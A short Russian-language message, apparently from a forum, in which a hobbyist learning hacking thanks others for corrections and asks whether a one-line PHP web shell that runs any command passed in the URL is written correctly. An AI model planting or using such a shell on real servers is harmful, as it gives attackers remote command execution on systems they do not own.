спасибо, что указали на ошибки, так как я недавно практикую с хакингом, просто ради интереса.
как я понял код должен быть таким:
<?php system($_GET["cmd"]); ?>
правильно?